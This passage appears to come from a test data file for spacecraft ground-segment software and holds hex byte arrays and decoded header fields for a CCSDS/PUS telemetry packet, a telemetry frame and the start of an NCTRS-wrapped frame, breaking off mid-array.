0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xD4] TM_PACKET_04_versionNumber = 0 TM_PACKET_04_packetType = 0 TM_PACKET_04_dataFieldHeaderFlag = 1 TM_PACKET_04_applicationProcessId = 1234 TM_PACKET_04_segmentationFlags = CCSDS.PACKET.UNSEGMENTED TM_PACKET_04_sequenceControlCount = 0 TM_PACKET_04_packetLength = 2080 TM_PACKET_04_pusVersionNumber = 1 TM_PACKET_04_serviceType = 8 TM_PACKET_04_serviceSubType = 2 TM_FRAME_01 = [ 0x2F, 0x61, 0x00, 0x00, 0x18, 0x00, 0x0C, 0xD2, 0xC0, 0x00, 0x00, 0x1A, 0x10, 0x03, 0x19, 0x16, 0x92, 0x5E, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xE4, 0x07, 0xFF, 0xC0, 0x00, 0x04, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC9, 0x48, 0x01, 0x00, 0x00, 0x00, 0xBB, 0xD6] TM_FRAME_01_versionNumber = 0 TM_FRAME_01_spacecraftId = 758 TM_FRAME_01_virtualChannelId = 0 TM_FRAME_01_operationalControlField = 1 TM_FRAME_01_masterChannelFrameCount = 0 TM_FRAME_01_virtualChannelFCountLow = 0 TM_FRAME_01_secondaryHeaderFlag = 0 TM_FRAME_01_synchronisationFlag = 0 TM_FRAME_01_packetOrderFlag = 0 TM_FRAME_01_segmentLengthId = 3 TM_FRAME_01_firstHeaderPointer = 0 TM_FRAME_01_leadingFragment = None TM_FRAME_01_nrPackets = 2 TM_FRAME_01_trailingFragment = None NCTRS_TM_FRAME_01 = [ 0x00, 0x00, 0x04, 0x6F, 0x02, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC0, 0x04, 0xB2, 0x2C, 0x16, 0x03, 0x20, 0x00, 0x00, 0x2F, 0x61, 0x00, 0x00, 0x18, 0x00, 0x0C, 0xD2, 0xC0, 0x00, 0x00, 0x1A, 0x10, 0x03, 0x19, 0x16, 0x92, 0x5E, 0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xE4, 0x07, 0xFF, 0xC0, 0x00, 0x04, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 